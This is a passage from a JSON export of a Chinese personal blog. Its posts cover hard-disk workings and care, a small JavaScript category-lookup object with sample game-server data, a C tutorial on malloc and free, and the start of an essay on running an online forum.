击到了盘体。\n八、受高温影响的最严重的是机械的电路，特别是硬盘外面的那块电路板，上面的集成块在高温下会加速老化的。所以IBM的某款玻璃硬盘，虽然有坏道，但是一用某个软件，马上就不见了。再严重点的，换块线路板，也就正常了。就是这个原因。\n总之，硬盘会因为环境不好和保养不当而影响寿命，但是这绝对不是软件的错。FLASHGET也好,ED也好,FTP也好,它们虽然对硬盘的读写频 繁,但是还不至于比你一般玩游戏一般听歌对硬盘伤害大.说得更加明白的话,它们对硬盘的所谓耗损,其实可以忽略不记.不要因为看见硬盘灯猛闪,就在那里瞎 担心.不然那些提供WEB服务和FTP服务的服务器，它们的硬盘读写之大，可绝非平常玩游戏，下软件的硬盘可比的。\n硬盘有一个参数叫做连续无故障时间。它是指硬盘从开始运行到出现故障的最长时间，单位是小时，英文简写是MTBF。一般硬盘的MTBF至少在 30000或40000小时。具体情况可以看硬盘厂商的参数说明。这个连续无故障时间，大家可以自己除一下，看看是多少年。然后大家自己想想，自己的硬盘 平时连续工作最久是多长时间。\n目前我使用的机器，已经连续开机1年了，除了中途有几次关机十几分钟来清理灰尘外，从来没有停过（使用金转6代40G）。另外还有三台使用SCSI 硬盘的服 务器，是连续两年没有停过了，硬盘的发热量绝非平常IDE硬盘可比（1万转的硬盘啊）。在这方面，我想我是有发言权的。\n最后补充一下若干点：\n一、硬盘最好不要买水货或者返修货。水货在运输过程中是非常不安全的，虽然从表面上看来似乎无损伤，但是有可能在运输过程中因为各种因素而对机械体造成损伤。返修货就更加不用说了。老实说，那些埋怨硬盘容易损坏的人，你们应该自己先看看，自己的硬盘是否就是这些货色。\n二、硬盘的工作环境是需要整洁的，特别是注意不要在频繁断电和灰尘很多的环境下使用硬盘。机箱要每隔一两个月清理一下灰尘。\n三、硬盘的机械最怕震动和高温。所以环境要好，特别是机箱要牢固，以免共震太大。电脑桌也不要摇摇晃晃的。\n四、要经常整理硬盘碎片。这里有一个大多数人的误解，一般人都以为硬盘碎片会加大硬盘耗损，其实不是这样的。硬盘碎片的增多本身只是会让硬盘读写所 花时间比碎片少的时候多而已，对硬盘的耗损是可以忽略的（我在这里只说一个事实，目前网络上的服务器，它们用得最多的操作系统是UNIX，但是在UNIX 下面是没有磁盘碎片整理软件的。就连微软的NT4,本身也是没有的）。不过，因为磁头频繁的移动，造成读写时间的加大，所以CPU的换页动作也就频繁了， 而造成虚拟 文件（在这里其实准确的说法是换页文件）读写频繁，从而加重硬盘磁头寻道的负荷。这才是硬盘碎片的坏处。\n五、在硬盘读写时尽量避免忽然断电，冷启动和做其他加重CPU负荷的事情（比如在玩游戏时听歌，或者在下载时玩大型3D游戏），这些对硬盘的伤害比一般人想象中还要大。\n总之，只要平常注意使用硬盘，硬盘是不会那么快就和我们说BYEBYE的。当然，如果是硬盘本身的质量就不行，那我就无话可说了。\n","permalink":"https://hessian.cn/p/446.html","summary":" 文章来源: http://www.blueidea.com/\n文章来源: http://yongzhi.blog.hexun.com/7593512_d.html\n家里的电脑，01年买的，到现在已经被我用挂了2快硬盘，原配IMB 40G，后来又换了一个ST 40G。现在我贴出这篇文章，目的是纠正以下目前针对硬盘的一些误区，同时也给硬盘的保养提个醒。 先说一下硬盘的工作原理\n现在的硬盘,无论是IDE还是SCSI,采用的都是\u0026quot;温彻思特\u0026ldquo;技术,都有以下特点：\n1、磁头，盘片及运动机构密封。\n2、固定并高速旋转的镀磁盘片表面平整光滑。\n3、磁头沿盘片径向移动。\n4、磁头对盘片接触式启停，但工作时呈飞行状态不与盘片直接接触。\n盘片：硬盘盘片是将磁粉附着在铝合金（新材料也有用玻璃）圆盘片的表面上.这些磁粉被划分成称为磁道的若干个同 心圆，在每个同心圆的磁道上就好像有无数的任意排列的小磁铁，它们分别代表着0和1的状态。当这些小磁铁受到来自磁头的磁力影响时，其排列的方向会随之改 变。利用磁头的磁力控制指定的一些小磁铁方向，使每个小磁铁都可以用来储存信息。\n盘体：硬盘的盘体由多个盘片组成，这些盘片重叠在一起放在一个密封的盒中，它们在主轴电机的带动下以很高的速度旋转，其每分钟转速达3600，4500，5400，7200甚至以上。\n磁头：硬盘的磁头用来读取或者修改盘片上磁性物质的状态，一般说来，每一个磁面都会有一个磁头，从最上面开始， 从0开始编号。磁头在停止工作时，与磁盘是接触的，但是在工作时呈飞行状态。磁头采取在盘片的着陆区接触式启停的方式，着陆区不存放任何数据，磁头在此区 域启停，不存在损伤任何数据的问题。读取数据时，盘片高速旋转，由于对磁头运动采取了精巧的空气动力学设计，此时磁头处于离盘面数据区0.2\u0026#8212;0.5 微米高度的\u0026rdquo;飞行状态\u0026ldquo;。既不与盘面接触造成磨损，又能可靠的读取数据。\n电机：硬盘内的电机都为无刷电机，在高速轴承支撑下机械磨损很小，可以长时间连续工作。高速旋转的盘体产生了明 显的陀螺效应，所以工作中的硬盘不宜运动，否则将加重轴承的工作负荷。硬盘磁头的寻道饲服电机多采用音圈式旋转或者直线运动步进电机，在饲服跟踪的调节下 精确地跟踪盘片的磁道，所以在硬盘工作时不要有冲击碰撞，搬动时要小心轻放。\n原理说到这里，大家都明白了吧？\n首先，磁头和数据区是不会有接触的，所以不存在磨损的问题。\n其次，一开机硬盘就处于旋转状态，主轴电机的旋转可以达到4500或者7200转每分钟，这和你是否使用FLASHGET或者ED都没有关系，只要一通电，它们就在转.它们的磨损也和软件无关。\n再次，寻道电机控制下的磁头的运动，是左右来回移动的，而且幅度很小，从盘片的最内层（着陆区）启动，慢慢移动到最外层，再慢慢移动回来，一个磁道再到另一个磁道来寻找数据。不会有什么大规模跳跃的（又不是青蛙）。所以它的磨损也是可以忽略不记的。 那么，热量是怎么来的呢？\n首先，是主轴电机和寻道饲服电机的旋转，硬盘的温度主要是因为这个。\n其次，高速旋转的盘体和空气之间的摩擦。这个也是主要因素。而硬盘的读写？很遗憾，它的发热量可以忽略不记！\n硬盘的读操作，是盘片上磁场的变化影响到磁头的电阻值,这个过程中盘片不会发热，磁头倒是因为电流发生变化，所以会有一点热量产生。写操作呢？正好 反过来，通过磁头的电流强度不断发生变化，影响到盘片上的磁场，这一过程因为用到电磁感应，所以磁头发热量较大。但是盘片本身是不会发热的，因为盘片上的 永磁体是冷性的，不会因为磁场变化而发热。\n但是总的来说，磁头的发热量和前面两个比起来，是小巫见大巫了。热量是可以辐射传导的，那么高热量对盘片上的永磁体会不会有伤害呢？其实伤害是很小的，永磁体消磁的温度，远远高于硬盘正常情况下产生的温度。当然，要是你的机箱散热不好，那可就怪不了别人了。\n这里不得不说一下某人的几个错误：\n一、高温是影响到磁头的电阻感应灵敏度，所以才会产生读写错误，和永磁体没有关系。\n二、所谓的热膨胀，不会拉近盘体和磁头的距离，因为磁头的飞行是空气动力学原理，在正常情况下始终和盘片保持一定距离。当然要是你大力打击硬盘，那么这个震动\u0026hellip;\u0026hellip;\n三、所谓寻道是指硬盘从初使位置移动到指定磁道。所谓的复位动作，并不是经常发生的。因为磁道的物理位置是存放在CMOS里面，硬盘并不需要移动回0磁道再重新出发。只要磁头一启动，所谓的复位动作就完成了，除非你重新启动电脑，不然复位动作就不会再发生。\n四、IDE硬盘和SCSI硬盘的盘体结构是差不多的。只是SCSI硬盘的接口带宽比同时代的IDE硬盘要大，而且往往SCSI卡往往都会有一个类似CPU的东西来减缓主CPU的占用率。仅此而已，所以希捷才会把它的SCSI硬盘的技术用在IDE硬盘上。\n五、硬盘的读写是以柱面的扇区为单位的。柱面也就是整个盘体中所有磁面的半径相同的同心磁道，而把每个磁道划分为若干个区就是所谓的扇区了。硬盘的 写操作，是先写满一个扇区，再写同一柱面的下一个扇区的，在一个柱面完全写满前，磁头是不会移动到别的磁道上的。所以文件在硬盘上的存储，并不是像一般人 的认为，是连续存放在一起的（从使用者来看是一起，但是从操作系统底层来看，其存放不是连续的）。所以FLASHGET或者ED开了再多的线程，磁头的寻 道一般都不会比你一边玩游戏一边听歌大。当然，这种情况只是单纯的下载或者上传而已，但是其实在这个过程中，谁能保证自己不会启动其它需要读写硬盘的软 件？可能很多人都喜欢一边下载一边玩游戏或者听歌吧？更不用说WINDOWS本身就需要频繁读写虚拟内存文件了。所以，用FG下载也好，ED也好，对硬盘 的折磨和平时相比不会太厉害的。\n六、再说说FLASHGET为什么开太多线程会不好和ED为什么硬盘读写频繁。首先，线程一多，cpu的占用率就高，换页动作也就频繁，从而虚拟内 存读写频繁，至于为什么，学过操作系统原理的应该都知道，我这里就不说了。ED呢？同时从几个人那里下载一个文件，还有几个人同时在下载你的文件，这和 FG开多线程是类似的。所以硬盘灯猛闪。但是，现在的硬盘是有缓存的，数据不是马上就写到硬盘上，而是先存放在缓存里面,，然后到一定量了再一次性写入硬 盘。在FG里面再怎么设置都好，其实是先写到缓存里面的。但是这个过程也是需要CPU干预的，所以设置时间太短，CPU占用率也高，所以硬盘灯也还是猛闪 的，因为虚拟文件在读写。\n七、硬盘读写频繁，磁头臂在寻道伺服电机的驱动下移动频繁，但是对机械来说这点耗损虽有，其实不大。除非你的硬盘本身就有机械故障比如力臂变形之类 的（水货最常见的故障）。真正耗损在于磁头，不断变化的电流会造成它的老化，但是和它的寿命相比。。。。。应该也是在合理范围内的。除非因为震动，磁头撞 击到了盘体。\n八、受高温影响的最严重的是机械的电路，特别是硬盘外面的那块电路板，上面的集成块在高温下会加速老化的。所以IBM的某款玻璃硬盘，虽然有坏道，但是一用某个软件，马上就不见了。再严重点的，换块线路板，也就正常了。就是这个原因。\n总之，硬盘会因为环境不好和保养不当而影响寿命，但是这绝对不是软件的错。FLASHGET也好,ED也好,FTP也好,它们虽然对硬盘的读写频 繁,但是还不至于比你一般玩游戏一般听歌对硬盘伤害大.说得更加明白的话,它们对硬盘的所谓耗损,其实可以忽略不记.不要因为看见硬盘灯猛闪,就在那里瞎 担心.不然那些提供WEB服务和FTP服务的服务器，它们的硬盘读写之大，可绝非平常玩游戏，下软件的硬盘可比的。\n硬盘有一个参数叫做连续无故障时间。它是指硬盘从开始运行到出现故障的最长时间，单位是小时，英文简写是MTBF。一般硬盘的MTBF至少在 30000或40000小时。具体情况可以看硬盘厂商的参数说明。这个连续无故障时间，大家可以自己除一下，看看是多少年。然后大家自己想想，自己的硬盘 平时连续工作最久是多长时间。\n目前我使用的机器，已经连续开机1年了，除了中途有几次关机十几分钟来清理灰尘外，从来没有停过（使用金转6代40G）。另外还有三台使用SCSI 硬盘的服 务器，是连续两年没有停过了，硬盘的发热量绝非平常IDE硬盘可比（1万转的硬盘啊）。在这方面，我想我是有发言权的。\n最后补充一下若干点：\n一、硬盘最好不要买水货或者返修货。水货在运输过程中是非常不安全的，虽然从表面上看来似乎无损伤，但是有可能在运输过程中因为各种因素而对机械体造成损伤。返修货就更加不用说了。老实说，那些埋怨硬盘容易损坏的人，你们应该自己先看看，自己的硬盘是否就是这些货色。\n二、硬盘的工作环境是需要整洁的，特别是注意不要在频繁断电和灰尘很多的环境下使用硬盘。机箱要每隔一两个月清理一下灰尘。\n三、硬盘的机械最怕震动和高温。所以环境要好，特别是机箱要牢固，以免共震太大。电脑桌也不要摇摇晃晃的。\n四、要经常整理硬盘碎片。这里有一个大多数人的误解，一般人都以为硬盘碎片会加大硬盘耗损，其实不是这样的。硬盘碎片的增多本身只是会让硬盘读写所 花时间比碎片少的时候多而已，对硬盘的耗损是可以忽略的（我在这里只说一个事实，目前网络上的服务器，它们用得最多的操作系统是UNIX，但是在UNIX 下面是没有磁盘碎片整理软件的。就连微软的NT4,本身也是没有的）。不过，因为磁头频繁的移动，造成读写时间的加大，所以CPU的换页动作也就频繁了， 而造成虚拟 文件（在这里其实准确的说法是换页文件）读写频繁，从而加重硬盘磁头寻道的负荷。这才是硬盘碎片的坏处。\n五、在硬盘读写时尽量避免忽然断电，冷启动和做其他加重CPU负荷的事情（比如在玩游戏时听歌，或者在下载时玩大型3D游戏），这些对硬盘的伤害比一般人想象中还要大。\n总之，只要平常注意使用硬盘，硬盘是不会那么快就和我们说BYEBYE的。当然，如果是硬盘本身的质量就不行，那我就无话可说了。\n","title":"硬盘的损伤与工作原理"},{"content":"最近刚好要做个有联动的分类选择，就写了下面这个东西，令人郁闷的javascript\ncat = {\ndata : function (code,name,price,discount){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.code = code;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.name = name;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.price = price;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.discount = discount;\n},\nget : function(code){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if (!code || code.length % 3 != 0 || code.length \u0026lt; 3)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(cat.getlevel(code.length / 3)[code]){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return cat.getlevel(code.length / 3)[code];\n\u0026nbsp;\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n},\nadd : function (code,name,price,discount){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(!cat[\u0026quot;lv_\u0026quot; + code.length / 3 ]){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cat[\u0026quot;lv_\u0026quot; + code.length / 3 ]\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; = new Object();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cat[\u0026quot;lv_\u0026quot; + code.length / 3 ].len = 0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; cat[\u0026quot;lv_\u0026quot; + code.length / 3 ][code] = new cat.data(code,name,price,discount );\n\u0026nbsp;\u0026nbsp;\u0026nbsp; cat[\u0026quot;lv_\u0026quot; + code.length / 3 ].len++;\n},\ngetlevel : function (level){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(cat[\u0026quot;lv_\u0026quot; + level]){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return cat[\u0026quot;lv_\u0026quot; + level]\n\u0026nbsp;\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n},\ngetsub : function( code ){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; code = new String(code);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; datas = new Object();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; level = code.length / 3 + 1;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; sub\u0026nbsp;\u0026nbsp; = cat.getlevel(level);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; count = 0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; for(var item in sub){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(sub[item].code){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(sub[item].code.substr(0,code.length) == code ){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; datas[sub[item].code] = sub[item];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; count++;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; datas.len = count;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(count == 0){return false;}\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return datas;\n}\n}\n附部份测试数据\ncat.add(\u0026#8216;001\u0026#8242;,\u0026#8217;魔兽世界\u0026#8217;);\ncat.add(\u0026#8216;001001\u0026#8242;,\u0026#8217;一区\u0026#8217;);\ncat.add(\u0026#8216;001001001\u0026#8242;,\u0026#8217;伊瑟拉\u0026#8217;);\ncat.add(\u0026#8216;001001001001\u0026#8242;,\u0026#8217;联盟\u0026#8217;,\u0026#8217;0.2617\u0026#8242;,\u0026#8217;1.00\u0026#8242;);\ncat.add(\u0026#8216;001001001002\u0026#8242;,\u0026#8217;部落\u0026#8217;,\u0026#8217;0.6229\u0026#8242;,\u0026#8217;1.00\u0026#8242;);\ncat.add(\u0026#8216;001001002\u0026#8242;,\u0026#8217;卡德罗斯\u0026#8217;);\ncat.add(\u0026#8216;001001002001\u0026#8242;,\u0026#8217;联盟\u0026#8217;,\u0026#8217;0.3297\u0026#8242;,\u0026#8217;1.00\u0026#8242;);\ncat.add(\u0026#8216;001001002002\u0026#8242;,\u0026#8217;部落\u0026#8217;,\u0026#8217;0.7794\u0026#8242;,\u0026#8217;1.00\u0026#8242;);\ncat.add(\u0026#8216;001001003\u0026#8242;,\u0026#8217;卡扎克\u0026#8217;);\ncat.add(\u0026#8216;001001003001\u0026#8242;,\u0026#8217;联盟\u0026#8217;,\u0026#8217;0.9082\u0026#8242;,\u0026#8217;1.00\u0026#8242;);\ncat.add(\u0026#8216;001001003002\u0026#8242;,\u0026#8217;部落\u0026#8217;,\u0026#8217;0.2026\u0026#8242;,\u0026#8217;1.00\u0026#8242;);\ncat.add(\u0026#8216;001001004\u0026#8242;,\u0026#8217;回音山\u0026#8217;);\ncat.add(\u0026#8216;001001004001\u0026#8242;,\u0026#8217;联盟\u0026#8217;,\u0026#8217;0.2884\u0026#8242;,\u0026#8217;1.00\u0026#8242;);\ncat.add(\u0026#8216;001001004002\u0026#8242;,\u0026#8217;部落\u0026#8217;,\u0026#8217;0.8341\u0026#8242;,\u0026#8217;1.00\u0026#8242;);\ncat.add(\u0026#8216;001001005\u0026#8242;,\u0026#8217;国王之谷\u0026#8217;);\n还是感觉好麻烦 做联动的时候还是很郁闷啊\u0026middot;\u0026middot;\u0026middot;\u0026middot;没有什么好办法\n我太笨了\n","permalink":"https://hessian.cn/p/527.html","summary":"最近刚好要做个有联动的分类选择，就写了下面这个东西，令人郁闷的javascript\ncat = {\ndata : function (code,name,price,discount){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.code = code;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.name = name;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.price = price;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.discount = discount;\n},\nget : function(code){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if (!code || code.length % 3 != 0 || code.length \u0026lt; 3)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(cat.getlevel(code.length / 3)[code]){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return cat.getlevel(code.length / 3)[code];\n\u0026nbsp;\u0026nbsp;\u0026nbsp; } else {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n},\n","title":"【原创】一个简单数据存取的对象"},{"content":" 准备：动态内存分配\n一、为什么用动态内存分配\n但我们未学习链表的时候，如果要存储数量比较多的同类型或同结构的数据的时候，总是使用一个数组。比如说我们要存储一个班级学生的某科分数，总是定义一个float型（存在0.5分）数组：\nfloat score[30];\n但是，在使用数组的时候，总有一个问题困扰着我们：数组应该有多大？\n在很多的情况下，你并不能确定要使用多大的数组，比如上例，你可能并不知道该班级的学生的人数，那么你就要把数组定义得足够大。这样，你的程序在运行时就 申请了固定大小的你认为足够大的内存空间。即使你知道该班级的学生数，但是如果因为某种特殊原因人数有增加或者减少，你又必须重新去修改程序，扩大数组的 存储范围。这种分配固定大小的内存分配方法称之为静态内存分配。但是这种内存分配的方法存在比较严重的缺陷，特别是处理某些问题时：在大多数情况下会浪费 大量的内存空间，在少数情况下，当你定义的数组不够大时，可能引起下标越界错误，甚至导致严重后果。\n那么有没有其它的方法来解决这样的外呢体呢？有，那就是动态内存分配。\n所谓动态内存分配就是指在程序执行的过程中动态地分配或者回收存储空间的分配内存的方法。动态内存分配不象数组等静态内存分配方法那样需要预先分配存储空 间，而是由系统根据程序的需要即时分配，且分配的大小就是程序要求的大小。从以上动、静态内存分配比较可以知道动态内存分配相对于静态内存分配的特点：\n1、不需要预先分配存储空间；\n2、分配的空间可以根据程序的需要扩大或缩小。\n二、如何实现动态内存分配及其管理\n要实现根据程序的需要动态分配存储空间，就必须用到以下几个函数\n1、malloc函数\nmalloc函数的原型为：\nvoid *malloc (unsigned int size)\n其作用是在内存的动态存储区中分配一个长度为size的连续空间。其参数是一个无符号整形数，返回值是一个指向所分配的连续存储域的起始地址的指针。还有 一点必须注意的是，当函数未能成功分配存储空间（如内存不足）就会返回一个NULL指针。所以在调用该函数时应该检测返回值是否为NULL并执行相应的操 作。\n下例是一个动态分配的程序例题（1）：\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;stdlib.h\u0026gt;\n#include \u0026lt;malloc.h\u0026gt;\nmain()\n{\nint count,*array; /*count是一个计数器，array是一个整型指针，也可以理解为指向一个整型数组的首地址*/\nif((array=(int *) malloc(10*sizeof(int)))==NULL)\n{\nprintf(\u0026quot;不能成功分配存储空间。\u0026quot;);\nexit(1);\n}\nfor (count=0;count\u0026lt;10;count++) /*给数组赋值*/\narray[count]=count;\nfor(count=0;count\u0026lt;10;count++) /*打印数组元素*/\nprintf(\u0026quot;%2d\u0026quot;,array[count]);\nfree(array);\n}\n上例中动态分配了10个整型存储区域，然后进行赋值并打印。例中if((array(int *) malloc(10*sizeof(int)))==NULL)语句可以分为以下几步：\n1）分配10个整型的连续存储空间，并返回一个指向其起始地址的整型指针\n2）把此整型指针地址赋给array\n3）检测返回值是否为NULL\n2、free函数\n由于内存区域总是有限的，不能不限制地分配下去，而且一个程序要尽量节省资源，所以当所分配的内存区域不用时，就要释放它，以便其它的变量或者程序使用。这时我们就要用到free函数。\n其函数原型是：\nvoid free(void *p)\n作用是释放指针p所指向的内存区。\n其参数p必须是先前调用malloc函数或calloc函数（另一个动态分配存储区域的函数）时返回的指针。给free函数传递其它的值很可能造成死机或其它灾难性的后果。\n注意：这里重要的是指针的值，而不是用来申请动态内存的指针本身。例：\nint *p1,*p2;\np1=malloc(10*sizeof(int));\np2=p1;\n\u0026hellip;\u0026hellip;\nfree(p2) /*或者free(p2)*/\nmalloc返回值赋给p1，又把p1的值赋给p2，所以此时p1，p2都可作为free函数的参数。\nmalloc函数是对存储区域进行分配的。\nfree函数是释放已经不用的内存区域的。\n所以由这两个函数就可以实现对内存区域进行动态分配并进行简单的管理了。\n本节课后\n问题：\n1、free函数有什么用处？\n2、stdio.h、stdlib.h、malloc.h 这三个头文件在程序例题（1）中起到了什么作用？\n3、#include \u0026lt;stdio.h\u0026gt;和#incluce \u0026quot;stdio.h\u0026quot;有什么不同？\n体会：\n1、对照程序例题（1）体会\u0026ldquo;(array=(int *) malloc(10*sizeof(int)))==NULL\u0026rdquo;这一句的写法。\n目的：\n1、为什么要\u0026ldquo;动态分配内存\u0026rdquo;，如何做到\u0026ldquo;动态内存分配\u0026rdquo;。\n","permalink":"https://hessian.cn/p/504.html","summary":" 准备：动态内存分配\n一、为什么用动态内存分配\n但我们未学习链表的时候，如果要存储数量比较多的同类型或同结构的数据的时候，总是使用一个数组。比如说我们要存储一个班级学生的某科分数，总是定义一个float型（存在0.5分）数组：\nfloat score[30];\n但是，在使用数组的时候，总有一个问题困扰着我们：数组应该有多大？\n在很多的情况下，你并不能确定要使用多大的数组，比如上例，你可能并不知道该班级的学生的人数，那么你就要把数组定义得足够大。这样，你的程序在运行时就 申请了固定大小的你认为足够大的内存空间。即使你知道该班级的学生数，但是如果因为某种特殊原因人数有增加或者减少，你又必须重新去修改程序，扩大数组的 存储范围。这种分配固定大小的内存分配方法称之为静态内存分配。但是这种内存分配的方法存在比较严重的缺陷，特别是处理某些问题时：在大多数情况下会浪费 大量的内存空间，在少数情况下，当你定义的数组不够大时，可能引起下标越界错误，甚至导致严重后果。\n那么有没有其它的方法来解决这样的外呢体呢？有，那就是动态内存分配。\n所谓动态内存分配就是指在程序执行的过程中动态地分配或者回收存储空间的分配内存的方法。动态内存分配不象数组等静态内存分配方法那样需要预先分配存储空 间，而是由系统根据程序的需要即时分配，且分配的大小就是程序要求的大小。从以上动、静态内存分配比较可以知道动态内存分配相对于静态内存分配的特点：\n1、不需要预先分配存储空间；\n2、分配的空间可以根据程序的需要扩大或缩小。\n二、如何实现动态内存分配及其管理\n要实现根据程序的需要动态分配存储空间，就必须用到以下几个函数\n1、malloc函数\nmalloc函数的原型为：\nvoid *malloc (unsigned int size)\n其作用是在内存的动态存储区中分配一个长度为size的连续空间。其参数是一个无符号整形数，返回值是一个指向所分配的连续存储域的起始地址的指针。还有 一点必须注意的是，当函数未能成功分配存储空间（如内存不足）就会返回一个NULL指针。所以在调用该函数时应该检测返回值是否为NULL并执行相应的操 作。\n下例是一个动态分配的程序例题（1）：\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;stdlib.h\u0026gt;\n#include \u0026lt;malloc.h\u0026gt;\nmain()\n{\nint count,*array; /*count是一个计数器，array是一个整型指针，也可以理解为指向一个整型数组的首地址*/\nif((array=(int *) malloc(10*sizeof(int)))==NULL)\n{\nprintf(\u0026quot;不能成功分配存储空间。\u0026quot;);\nexit(1);\n}\nfor (count=0;count\u0026lt;10;count++) /*给数组赋值*/\narray[count]=count;\nfor(count=0;count\u0026lt;10;count++) /*打印数组元素*/\nprintf(\u0026quot;%2d\u0026quot;,array[count]);\nfree(array);\n}\n上例中动态分配了10个整型存储区域，然后进行赋值并打印。例中if((array(int *) malloc(10*sizeof(int)))==NULL)语句可以分为以下几步：\n1）分配10个整型的连续存储空间，并返回一个指向其起始地址的整型指针\n2）把此整型指针地址赋给array\n3）检测返回值是否为NULL\n2、free函数\n由于内存区域总是有限的，不能不限制地分配下去，而且一个程序要尽量节省资源，所以当所分配的内存区域不用时，就要释放它，以便其它的变量或者程序使用。这时我们就要用到free函数。\n其函数原型是：\nvoid free(void *p)\n作用是释放指针p所指向的内存区。\n其参数p必须是先前调用malloc函数或calloc函数（另一个动态分配存储区域的函数）时返回的指针。给free函数传递其它的值很可能造成死机或其它灾难性的后果。\n注意：这里重要的是指针的值，而不是用来申请动态内存的指针本身。例：\nint *p1,*p2;\np1=malloc(10*sizeof(int));\np2=p1;\n\u0026hellip;\u0026hellip;\nfree(p2) /*或者free(p2)*/\nmalloc返回值赋给p1，又把p1的值赋给p2，所以此时p1，p2都可作为free函数的参数。\nmalloc函数是对存储区域进行分配的。\nfree函数是释放已经不用的内存区域的。\n所以由这两个函数就可以实现对内存区域进行动态分配并进行简单的管理了。\n本节课后\n问题：\n1、free函数有什么用处？\n2、stdio.h、stdlib.h、malloc.h 这三个头文件在程序例题（1）中起到了什么作用？\n3、#include \u0026lt;stdio.h\u0026gt;和#incluce \u0026quot;stdio.h\u0026quot;有什么不同？\n体会：\n1、对照程序例题（1）体会\u0026ldquo;(array=(int *) malloc(10*sizeof(int)))==NULL\u0026rdquo;这一句的写法。\n目的：\n1、为什么要\u0026ldquo;动态分配内存\u0026rdquo;，如何做到\u0026ldquo;动态内存分配\u0026rdquo;。\n","title":"[C相关]链表的c语言实现"},{"content":"一个论坛、一个版块能留住会员的因素是多方面的，但是其中很重要的一点就是对版块的经营观念，有一些版主认为要想留住会员必需得发一些有吸引力的帖子才行。所以有些版主在论坛兴建的初期拼命写作，绞尽脑汁要码出一些好文章来，或者是到别的网站、论坛寻找一些精彩的帖子转帖过来，事实证明这样做版块上文章帖了一大堆人气的提升效果并不明显，这到底是为什么呢？\n会员来到论坛的目的无非有三：\n1、发表自己对生活、对社会、对工作的一些看法，渴望和别人交流。\n2、倾诉自己情感的得失、发泄现实生活中的愤懑、表达自己在生活中的感受。\n3、展示自己的能力、寻找知音和共鸣、体验在虚拟世界中成功的快感。\n从上面三点上来看会员们来论坛不是被动的欣赏，而是要主动的交流和互动。\n说白了，版主要确立的经营观念不是你来欣赏我，而是我要欣赏你。\n如果会员要欣赏好文章就无需来论坛了，各大网站、著名的网上书屋、文学专题网站上的热点新闻、好帖子、经典名著多如牛毛。论坛上文章的精彩程度无论如何都不能与之相比。\n论坛上最主要的功能、最有魅力之处是交流互动，在论坛兴建的初期版主贴出几篇象样的文章来吸引会员是对的，但是当已经有会员注册时注意力应该转到对会员帖子的回复上来，在论坛上任何一个发帖子的人都渴望别人对自己所发帖子的关注，不论是赞美、批评或是讨论都能吸引会员再次回过头来。（当然版主不要对会员高高在上的指指点点，这样会令会员反感。）\n发帖子的人最郁闷的是自己发出的帖子没人理会，因为任何一个人所发出的主题帖子（跟帖灌水除外）都是经过一番考虑的，有些主题帖子耗费了作者大量的心血和时间。有句话说得好：对别人最大的藐视就是不屑。自己发出的帖子没人理睬比埃了几\u0026ldquo;砖头\u0026r